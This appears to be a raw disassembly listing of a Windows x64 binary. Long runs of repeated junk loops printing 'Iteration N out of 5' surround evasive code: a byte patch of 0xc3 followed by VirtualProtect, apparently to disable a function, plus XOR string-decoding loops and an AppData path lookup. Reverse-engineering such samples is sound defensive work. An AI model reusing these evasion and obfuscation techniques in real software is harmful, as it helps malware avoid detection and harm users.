mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a930
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a980
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000a9d0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000aa20
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000aa70
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000aac0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ab10
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ab60
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000abb0
mov byte [rdi], 0xc3
mov ebx, r15d
nop
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ac00
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ac50
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000aca0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000acf0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ad40
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ad90
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ade0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ae30
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ae80
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000aed0
mov r8d, dword [rsp + 0x70]
xor r9d, r9d
mov rcx, rdi
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, r15d
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000af30
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000af80
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000afd0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b020
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b070
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b0c0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b110
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b160
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b1b0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b200
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b250
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b2a0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b2f0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b340
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b390
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b3e0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b430
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b480
mov rcx, qword gs:[0x58]
mov ebx, 0xe0
mov rdx, qword [rcx + r13*8]
mov ecx, 0x144
mov eax, dword [rcx + rdx]
test al, 1
jne 0x14000b55c
movaps xmm0, xmmword [0x140047a10]
or eax, 1
movaps xmm1, xmmword [0x140047a20]
mov dword [rcx + rdx], eax
lea rcx, [rdx + rbx]
mov eax, dword [0x140047a70]
lea rdx, [rbp + 0x80]
movaps xmmword [rbp + 0x80], xmm0
movaps xmm0, xmmword [0x140047a30]
movaps xmmword [rbp + 0x90], xmm1
movaps xmm1, xmmword [0x140047a40]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [0x140047a50]
movaps xmmword [rbp + 0xb0], xmm1
movaps xmm1, xmmword [0x140047a60]
movaps xmmword [rbp + 0xc0], xmm0
movaps xmmword [rbp + 0xd0], xmm1
mov dword [rbp + 0xe0], eax
call fcn.140003680
mov rcx, qword gs:[0x58]
mov r9, qword [rcx + r13*8]
cmp byte [rbx + r9 + 9], r15b
jne 0x14000b592
lea r8, [rbx + r9]
mov edx, r15d
nop word [rax + rax]
movsxd rcx, edx
lea eax, [rdx + 0x7b]
inc edx
xor byte [rcx + r8 + 0xa], al
cmp edx, 0x58
jb 0x14000b580
mov byte [rbx + r9 + 9], 1
lea rdi, [rbx + r9]
mov ebx, r15d
nop
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b5a0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b5f0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b640
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b690
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b6e0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b730
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b780
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b7d0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b820
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b870
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b8c0
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b910
mov ebx, r15d
nop dword [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b960
xorps xmm0, xmm0
mov dword [rbp + 0x10], 0x68
movups xmmword [rbp + 0x18], xmm0
mov ebx, r15d
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
nop dword [rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000b9d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor r9d, r9d
lea rax, [rbp + 0x320]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1c]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14000e3a2
mov ebx, edi
nop dword [rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000cdb0
movsxd r12, r14d
mov r15d, edi
mov qword [rbp], r12
mov dword [rbp + 0x598], edi
test r14d, r14d
jle 0x14000e3a2
mov rsi, r13
mov qword [rbp - 8], r13
mov r13d, 0x178
mov r14, rdi
mov qword [rbp - 0x50], rdi
nop word [rax + rax]
mov ebx, edi
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ce32
mov ebx, edi
nop dword [rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ce80
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000ced0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000cf20
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000cf70
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000cfc0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d010
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d060
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d0b0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d100
mov rax, qword gs:[0x58]
mov edx, 0x170
mov rcx, qword [rax + rsi*8]
mov eax, dword [rcx + rdx]
test al, 1
jne 0x14000d2de
movups xmm0, xmmword [0x140047a78]
or eax, 1
lea r8, [rbp - 0x74]
movups xmm1, xmmword [0x140047a88]
mov dword [rcx + rdx], eax
lea r9, [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
lea r10, [rbp - 0x7e]
movsd xmm0, qword [0x140047a98]
lea r11, [rbp - 0x7c]
mov edx, edi
mov eax, 0x148
add rax, rcx
movsd qword [rbp - 0x60], xmm0
sub r8, rax
movaps xmmword [rbp - 0x70], xmm1
mov qword [rbp - 0x20], r8
lea rbx, [rbp - 0x7a]
xor ecx, ecx
lea r8, [rbp - 0x6a]
mov qword [rax], 0
lea rsi, [rbp - 0x76]
mov word [rax + 8], di
lea r14, [rbp - 0x72]
sub r8, rax
mov byte [rax + 0xa], 0
mov qword [rbp - 0x18], r8
lea rdi, [rbp - 0x78]
lea r15, [rbp - 0x70]
xorps xmm0, xmm0
movups xmmword [rax + 0xc], xmm0
mov qword [rax + 0x1c], rcx
lea r12, [rbp - 0x6e]
lea r13, [rbp - 0x6c]
mov dword [rax + 0x24], ecx
lea r8, [rbp - 0x68]
sub r9, rax
sub r10, rax
lea rcx, [rax + 0xe]
sub r11, rax
sub rbx, rax
sub rdi, rax
sub rsi, rax
sub r14, rax
sub r15, rax
sub r12, rax
sub r13, rax
sub r8, rax
mov qword [rbp - 0x10], r8
mov r8, qword [rbp - 0x20]
nop word [rax + rax]
movzx eax, word [rcx + r8 - 0xe]
add edx, 0xe
mov word [rcx - 2], ax
movzx eax, word [r9 + rcx]
mov word [rcx], ax
movzx eax, word [r10 + rcx]
mov word [rcx + 2], ax
movzx eax, word [r11 + rcx]
mov word [rcx + 4], ax
movzx eax, word [rbx + rcx]
mov word [rcx + 6], ax
movzx eax, word [rdi + rcx]
mov word [rcx + 8], ax
movzx eax, word [rsi + rcx]
mov word [rcx + 0xa], ax
movzx eax, word [rcx + r8]
mov word [rcx + 0xc], ax
movzx eax, word [r14 + rcx]
mov word [rcx + 0xe], ax
movzx eax, word [r15 + rcx]
mov word [rcx + 0x10], ax
movzx eax, word [r12 + rcx]
mov word [rcx + 0x12], ax
movzx eax, word [rcx + r13]
mov word [rcx + 0x14], ax
lea rcx, [rcx + 0x1c]
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + rcx - 0x1c]
mov word [rcx - 6], ax
mov rax, qword [rbp - 0x10]
movzx eax, word [rax + rcx - 0x1c]
mov word [rcx - 4], ax
cmp edx, 0xe
jb 0x14000d230
mov rsi, qword [rbp - 8]
xor edi, edi
mov r14, qword [rbp - 0x50]
mov r15d, dword [rbp + 0x598]
mov r12, qword [rbp]
mov r13d, 0x178
mov rax, qword gs:[0x58]
mov r10d, 0x148
mov r9, qword [rax + rsi*8]
cmp byte [r10 + r9 + 0xa], 0
jne 0x14000d313
lea r8, [r10 + r9]
mov edx, edi
nop
movsxd rcx, edx
lea eax, [rdx + 0x7c]
inc edx
xor word [r8 + rcx*2 + 0xc], ax
cmp edx, 0xe
jb 0x14000d300
lea r8, [r10 + 0xc]
mov byte [r10 + r9 + 0xa], 1
add r8, r9
lea eax, [r15 + 1]
lea r9, [rbp + 0x320]
mov dword [rsp + 0x20], eax
mov edx, 0x104
lea rcx, [rbp + 0x110]
call fcn.14001a630
mov ebx, edi
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d342
mov ebx, edi
nop dword [rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d390
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
inc ebx
mov rcx, rax
mov edx, ebx
call fcn.140004410
mov rcx, rax
lea rdx, str._out_of
call fcn.140001240
mov edx, 5
mov rcx, rax
call fcn.140004410
mov rcx, rax
call fcn.140002710
cmp ebx, 5
jl 0x14000d3e0
mov ebx, edi
nop word [rax + rax]
lea rdx, str.Iteration
lea rcx, [0x14005f840]
call fcn.140001240
